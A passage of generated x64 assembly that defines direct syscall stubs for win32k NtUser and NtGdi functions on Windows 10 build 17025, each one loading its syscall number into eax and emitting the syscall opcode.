_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateCompatibleDC ENDP
; ULONG64 __stdcall NtUserGetClipboardSequenceNumber( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClipboardSequenceNumber PROC STDCALL
mov r10 , rcx
mov eax , 4184
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClipboardSequenceNumber ENDP
; ULONG64 __stdcall NtGdiCreatePen( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreatePen PROC STDCALL
mov r10 , rcx
mov eax , 4185
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreatePen ENDP
; ULONG64 __stdcall NtUserShowWindow( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShowWindow PROC STDCALL
mov r10 , rcx
mov eax , 4186
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShowWindow ENDP
; ULONG64 __stdcall NtUserGetKeyboardLayoutList( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetKeyboardLayoutList PROC STDCALL
mov r10 , rcx
mov eax , 4187
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetKeyboardLayoutList ENDP
; ULONG64 __stdcall NtGdiPatBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPatBlt PROC STDCALL
mov r10 , rcx
mov eax , 4188
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPatBlt ENDP
; ULONG64 __stdcall NtUserMapVirtualKeyEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMapVirtualKeyEx PROC STDCALL
mov r10 , rcx
mov eax , 4189
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMapVirtualKeyEx ENDP
; ULONG64 __stdcall NtUserSetWindowLong( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowLong PROC STDCALL
mov r10 , rcx
mov eax , 4190
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowLong ENDP
; ULONG64 __stdcall NtGdiHfontCreate( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiHfontCreate PROC STDCALL
mov r10 , rcx
mov eax , 4191
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiHfontCreate ENDP
; ULONG64 __stdcall NtUserMoveWindow( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMoveWindow PROC STDCALL
mov r10 , rcx
mov eax , 4192
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserMoveWindow ENDP
; ULONG64 __stdcall NtUserPostThreadMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPostThreadMessage PROC STDCALL
mov r10 , rcx
mov eax , 4193
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPostThreadMessage ENDP
; ULONG64 __stdcall NtUserDrawIconEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDrawIconEx PROC STDCALL
mov r10 , rcx
mov eax , 4194
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDrawIconEx ENDP
; ULONG64 __stdcall NtUserGetSystemMenu( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetSystemMenu PROC STDCALL
mov r10 , rcx
mov eax , 4195
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetSystemMenu ENDP
; ULONG64 __stdcall NtGdiDrawStream( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDrawStream PROC STDCALL
mov r10 , rcx
mov eax , 4196
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDrawStream ENDP
; ULONG64 __stdcall NtUserInternalGetWindowText( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInternalGetWindowText PROC STDCALL
mov r10 , rcx
mov eax , 4197
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserInternalGetWindowText ENDP
; ULONG64 __stdcall NtUserGetWindowDC( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowDC PROC STDCALL
mov r10 , rcx
mov eax , 4198
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetWindowDC ENDP
; ULONG64 __stdcall NtGdiInvertRgn( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiInvertRgn PROC STDCALL
mov r10 , rcx
mov eax , 4199
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiInvertRgn ENDP
; ULONG64 __stdcall NtGdiGetRgnBox( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetRgnBox PROC STDCALL
mov r10 , rcx
mov eax , 4200
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetRgnBox ENDP
; ULONG64 __stdcall NtGdiGetAndSetDCDword( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetAndSetDCDword PROC STDCALL
mov r10 , rcx
mov eax , 4201
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetAndSetDCDword ENDP
; ULONG64 __stdcall NtGdiMaskBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiMaskBlt PROC STDCALL
mov r10 , rcx
mov eax , 4202
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiMaskBlt ENDP
; ULONG64 __stdcall NtGdiGetWidthTable( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetWidthTable PROC STDCALL
mov r10 , rcx
mov eax , 4203
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetWidthTable ENDP
; ULONG64 __stdcall NtUserScrollDC( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserScrollDC PROC STDCALL
mov r10 , rcx
mov eax , 4204
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserScrollDC ENDP
; ULONG64 __stdcall NtUserGetObjectInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetObjectInformation PROC STDCALL
mov r10 , rcx
mov eax , 4205
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetObjectInformation ENDP
; ULONG64 __stdcall NtGdiCreateBitmap( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateBitmap PROC STDCALL
mov r10 , rcx
mov eax , 4206
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateBitmap ENDP
; ULONG64 __stdcall NtUserFindWindowEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserFindWindowEx PROC STDCALL
mov r10 , rcx
mov eax , 4207
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserFindWindowEx ENDP
; ULONG64 __stdcall NtGdiPolyPatBlt( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPolyPatBlt PROC STDCALL
mov r10 , rcx
mov eax , 4208
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiPolyPatBlt ENDP
; ULONG64 __stdcall NtUserUnhookWindowsHookEx( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUnhookWindowsHookEx PROC STDCALL
mov r10 , rcx
mov eax , 4209
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUnhookWindowsHookEx ENDP
; ULONG64 __stdcall NtGdiGetNearestColor( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetNearestColor PROC STDCALL
mov r10 , rcx
mov eax , 4210
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetNearestColor ENDP
; ULONG64 __stdcall NtGdiTransformPoints( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiTransformPoints PROC STDCALL
mov r10 , rcx
mov eax , 4211
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiTransformPoints ENDP
; ULONG64 __stdcall NtGdiGetDCPoint( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDCPoint PROC STDCALL
mov r10 , rcx
mov eax , 4212
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDCPoint ENDP
; ULONG64 __stdcall NtGdiCreateDIBBrush( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateDIBBrush PROC STDCALL
mov r10 , rcx
mov eax , 4213
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateDIBBrush ENDP
; ULONG64 __stdcall NtGdiGetTextMetricsW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetTextMetricsW PROC STDCALL
mov r10 , rcx
mov eax , 4214
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetTextMetricsW ENDP
; ULONG64 __stdcall NtUserCreateWindowEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 , ULONG64 arg_17 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateWindowEx PROC STDCALL
mov r10 , rcx
mov eax , 4215
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCreateWindowEx ENDP
; ULONG64 __stdcall NtUserSetParent( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetParent PROC STDCALL
mov r10 , rcx
mov eax , 4216
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetParent ENDP
; ULONG64 __stdcall NtUserGetKeyboardState( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetKeyboardState PROC STDCALL
mov r10 , rcx
mov eax , 4217
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetKeyboardState ENDP
; ULONG64 __stdcall NtUserToUnicodeEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserToUnicodeEx PROC STDCALL
mov r10 , rcx
mov eax , 4218
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserToUnicodeEx ENDP
; ULONG64 __stdcall NtUserGetControlBrush( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetControlBrush PROC STDCALL
mov r10 , rcx
mov eax , 4219
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetControlBrush ENDP
; ULONG64 __stdcall NtUserGetClassName( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClassName PROC STDCALL
mov r10 , rcx
mov eax , 4220
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClassName ENDP
; ULONG64 __stdcall NtGdiAlphaBlend( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAlphaBlend PROC STDCALL
mov r10 , rcx
mov eax , 4221
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAlphaBlend ENDP
; ULONG64 __stdcall NtGdiOffsetRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiOffsetRgn PROC STDCALL
mov r10 , rcx
mov eax , 4222
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiOffsetRgn ENDP
; ULONG64 __stdcall NtUserDefSetText( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDefSetText PROC STDCALL
mov r10 , rcx
mov eax , 4223
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDefSetText ENDP
; ULONG64 __stdcall NtGdiGetTextFaceW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetTextFaceW PROC STDCALL
mov r10 , rcx
mov eax , 4224
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetTextFaceW ENDP
; ULONG64 __stdcall NtGdiStretchDIBitsInternal( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiStretchDIBitsInternal PROC STDCALL
mov r10 , rcx
mov eax , 4225
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiStretchDIBitsInternal ENDP
; ULONG64 __stdcall NtUserSendInput( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSendInput PROC STDCALL
mov r10 , rcx
mov eax , 4226
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSendInput ENDP
; ULONG64 __stdcall NtUserGetThreadDesktop( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetThreadDesktop PROC STDCALL
mov r10 , rcx
mov eax , 4227
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetThreadDesktop ENDP
; ULONG64 __stdcall NtGdiCreateRectRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateRectRgn PROC STDCALL
mov r10 , rcx
mov eax , 4228
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateRectRgn ENDP
; ULONG64 __stdcall NtGdiGetDIBitsInternal( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDIBitsInternal PROC STDCALL
mov r10 , rcx
mov eax , 4229
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDIBitsInternal ENDP
; ULONG64 __stdcall NtUserGetUpdateRgn( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetUpdateRgn PROC STDCALL
mov r10 , rcx
mov eax , 4230
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetUpdateRgn ENDP
; ULONG64 __stdcall NtGdiDeleteClientObj( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDeleteClientObj PROC STDCALL
mov r10 , rcx
mov eax , 4231
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDeleteClientObj ENDP
; ULONG64 __stdcall NtUserGetIconSize( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetIconSize PROC STDCALL
mov r10 , rcx
mov eax , 4232
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetIconSize ENDP
; ULONG64 __stdcall NtUserFillWindow( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserFillWindow PROC STDCALL
mov r10 , rcx
mov eax , 4233
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserFillWindow ENDP
; ULONG64 __stdcall NtGdiExtCreateRegion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiExtCreateRegion PROC STDCALL
mov r10 , rcx
mov eax , 4234
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiExtCreateRegion ENDP
; ULONG64 __stdcall NtGdiComputeXformCoefficients( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiComputeXformCoefficients PROC STDCALL
mov r10 , rcx
mov eax , 4235
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiComputeXformCoefficients ENDP
; ULONG64 __stdcall NtUserSetWindowsHookEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowsHookEx PROC STDCALL
mov r10 , rcx
mov eax , 4236
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowsHookEx ENDP
; ULONG64 __stdcall NtUserNotifyProcessCreate( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserNotifyProcessCreate PROC STDCALL
mov r10 , rcx
mov eax , 4237
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserNotifyProcessCreate ENDP
; ULONG64 __stdcall NtGdiUnrealizeObject( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiUnrealizeObject PROC STDCALL
mov r10 , rcx
mov eax , 4238
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiUnrealizeObject ENDP
; ULONG64 __stdcall NtUserGetTitleBarInfo( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetTitleBarInfo PROC STDCALL
mov r10 , rcx
mov eax , 4239
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetTitleBarInfo ENDP
; ULONG64 __stdcall NtGdiRectangle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiRectangle PROC STDCALL
mov r10 , rcx
mov eax , 4240
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiRectangle ENDP
; ULONG64 __stdcall NtUserSetThreadDesktop( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetThreadDesktop PROC STDCALL
mov r10 , rcx
mov eax , 4241
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetThreadDesktop ENDP
; ULONG64 __stdcall NtUserGetDCEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDCEx PROC STDCALL
mov r10 , rcx
mov eax , 4242
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetDCEx ENDP
; ULONG64 __stdcall NtUserGetScrollBarInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetScrollBarInfo PROC STDCALL
mov r10 , rcx
mov eax , 4243
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetScrollBarInfo ENDP
; ULONG64 __stdcall NtGdiGetTextExtent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetTextExtent PROC STDCALL
mov r10 , rcx
mov eax , 4244
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetTextExtent ENDP
; ULONG64 __stdcall NtUserSetWindowFNID( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowFNID PROC STDCALL
mov r10 , rcx
mov eax , 4245
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowFNID ENDP
; ULONG64 __stdcall NtGdiSetLayout( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetLayout PROC STDCALL
mov r10 , rcx
mov eax , 4246
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetLayout ENDP
; ULONG64 __stdcall NtUserCalcMenuBar( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCalcMenuBar PROC STDCALL
mov r10 , rcx
mov eax , 4247
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCalcMenuBar ENDP
; ULONG64 __stdcall NtUserThunkedMenuItemInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserThunkedMenuItemInfo PROC STDCALL
mov r10 , rcx
mov eax , 4248
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserThunkedMenuItemInfo ENDP
; ULONG64 __stdcall NtGdiExcludeClipRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiExcludeClipRect PROC STDCALL
mov r10 , rcx
mov eax , 4249
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiExcludeClipRect ENDP
; ULONG64 __stdcall NtGdiCreateDIBSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateDIBSection PROC STDCALL
mov r10 , rcx
mov eax , 4250
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateDIBSection ENDP
; ULONG64 __stdcall NtGdiGetDCforBitmap( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDCforBitmap PROC STDCALL
mov r10 , rcx
mov eax , 4251
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetDCforBitmap ENDP
; ULONG64 __stdcall NtUserDestroyCursor( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDestroyCursor PROC STDCALL
mov r10 , rcx
mov eax , 4252
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDestroyCursor ENDP
; ULONG64 __stdcall NtUserDestroyWindow( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDestroyWindow PROC STDCALL
mov r10 , rcx
mov eax , 4253
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDestroyWindow ENDP
; ULONG64 __stdcall NtUserCallHwndParam( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallHwndParam PROC STDCALL
mov r10 , rcx
mov eax , 4254
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallHwndParam ENDP
; ULONG64 __stdcall NtGdiCreateDIBitmapInternal( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateDIBitmapInternal PROC STDCALL
mov r10 , rcx
